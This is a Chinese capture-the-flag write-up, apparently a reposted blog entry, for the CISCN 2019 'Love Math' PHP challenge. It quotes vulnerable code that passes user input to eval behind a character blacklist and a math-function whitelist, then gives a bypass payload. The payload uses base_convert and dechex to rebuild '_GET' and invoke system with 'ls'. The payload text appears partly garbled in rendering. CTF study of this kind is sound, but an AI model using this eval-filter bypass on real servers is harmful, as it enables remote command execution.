[CISCN 2019 初赛]Love Math 1

[CISCN 2019 初赛]Love Math 1

题目一上来直接上源码

代码分析:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    
    
    show_source(__FILE__);
}else{
    
    
    //例子 c=20-1
    $content = $_GET['c'];         //传参进入这里
    if (strlen($content) >= 80) {
    
      //长度小一点
        die("太长了不会算"); //绕过
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];   //不能匹配这些
    foreach ($blacklist as $blackitem) {
    
    
        if (preg_match('/' . $blackitem . '/m', $content)) {
    
      //绕过
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  //过滤
    foreach ($used_funcs[0] as $func) {
    
    
        if (!in_array($func, $whitelist)) {
    
      //in_array 会进行匹配这个白名单,检查是否存在白名单里面的东西,严格匹配
            die("请不要输入奇奇怪怪的函数");  //绕过这
        }
    }
    //帮你算出答案
    eval('echo '.$content.';'); //尾
}

这题就是一个运用其中的数学函数进行一个绕过,最后eval执行。

base_convert(string $num, int $from_base, int $to_base): string num
要转换的数字。num 中的任何无效字符都会默认忽略。自 PHP 7.4.0 起,弃用使用任何无效字符。
from_base
num 的进制数
to_base
num 要转换为的进制数
dechex 将10进制数转换为16进制数
构造最终payload:

?c= p i = b a s e c o n v e r t ( 37907361743 , 10 , 36 ) ( d e c h e x ( 1598506324 ) ) ; ( pi=base_convert(37907361743,10,36)(dechex(1598506324));( pi=baseconvert(37907361743,10,36)(dechex(1598506324));( p i ) p i ( ( pi){pi}(( pi)pi(($pi){abs})&pi=system&abs=ls

猜你喜欢

转载自blog.csdn.net/m0_73728268/article/details/130309101